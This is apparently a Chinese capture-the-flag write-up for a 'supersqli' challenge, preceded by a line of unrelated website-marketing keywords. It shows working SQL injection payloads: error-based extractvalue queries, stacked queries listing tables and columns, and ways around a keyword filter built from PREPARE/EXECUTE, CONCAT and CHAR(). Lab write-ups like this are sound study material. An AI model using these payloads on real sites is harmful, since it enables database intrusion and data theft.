网站开发预算报价表,推销网站的方法,中文版wordpress,北京网站制作培训题目 加个报错 1 and 11 #没报错判断为单引号字符注入 爆显位 
1 order by 2#回显正常 1 order by 3#报错 说明列数是2 尝试联合查询 
-1 union select 1,2# 
被过滤了 return preg_match(/select|update|delete|drop|insert|where|\./i,$inject); select|update|d…题目 加个报错 1 and 11 #没报错判断为单引号字符注入 爆显位 
1 order by 2#回显正常 1 order by 3#报错 说明列数是2 尝试联合查询 
-1 union select 1,2# 
被过滤了 return preg_match(/select|update|delete|drop|insert|where|\./i,$inject); select|update|delete|drop|insert|where这部分表示匹配其中的任何一个单词。| 是一个逻辑“或”操作符意味着它会匹配它前面的或后面的任何一个模式。\.. 在正则表达式中是一个特殊字符代表匹配任何字符除了换行符。为了匹配实际的点字符.我们需要使用 \.。i这是一个修饰符表示匹配是不区分大小写的。代码会检查$inject字符串中是否包含“select”、“update”、“delete”、“drop”、“insert”、“where”或点.不考虑大小写。 如果匹配到任何这些模式preg_match会返回1表示匹配成功。如果没有匹配到它会返回0。return 关键字表示这个函数会直接返回preg_match的结果。 
SQL注入分类 
根据参数类型字符型数字型、搜索型 
根据提交方式POST注入GET注入HTTP HEAD注入 
根据有无回显联合注入报错注入布尔盲注延时注入 
其他注入堆叠注入宽字节注入二次注入等 
尝试报错注入 
爆数库版本 
1 and (extractvalue(1,concat(0x5c,version(),0x5c))) 爆数据库名 1 and (extractvalue(1,concat(0x5c,database(),0x5c)))-- 得到数据库名supersqli 
但是后续爆表列等被过滤了 
基本都被过滤了尝试堆叠注入 
1;show databases;# 结合题目以及之前爆出的数据库名猜测flag在supersqli 
爆当前数据库biao 
0;show tables;# 爆191字段 1;show columns from 1919810931114514;# 查flag字段 
1’;select 1,2,group_concat(flag) from 1919810931114514;# 又被过滤了 
使用MySQL预处理语句 
1;PREPARE test from concat(s,elect,* from 1919810931114514);EXECUTE test;# 
PREPARE test from concat(s,elect,* from 1919810931114514) 表示利用 CONCAT 函数拼接 SQL 语句字符串 select * from 1919810931114514并将结果赋值给 test 参数。 
EXECUTE test;# 则执行了刚才定义的 SELECT 语句查询1919810931114514表中的所有数据并将查询结果输出 
采用预编译绕过 
1;sEt sql  CONCAT(se,lect * from 1919810931114514;);prEpare stmt from sql;EXECUTE stmt;# 
;sEt sql  CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译 prEpare stmt from sql; 设置变量 EXECUTE stmt;# 执行 char函数将ASCII值转字符实现select绕过 
char函数 
SELECT CHAR(72, 101, 108, 108, 111);以上 SQL 查询语句将返回字符串Hello 因为 H 对应 ASCII 码值为 72e 对应 ASCII 码值为 101l 对应 ASCII 码值为 108o 对应 ASCII 码值为 111。 
1;PREPARE w from concat(char(115,101,108,101,99,116), * from 1919810931114514);EXECUTE w;# 115,101,108,101,99,116对应select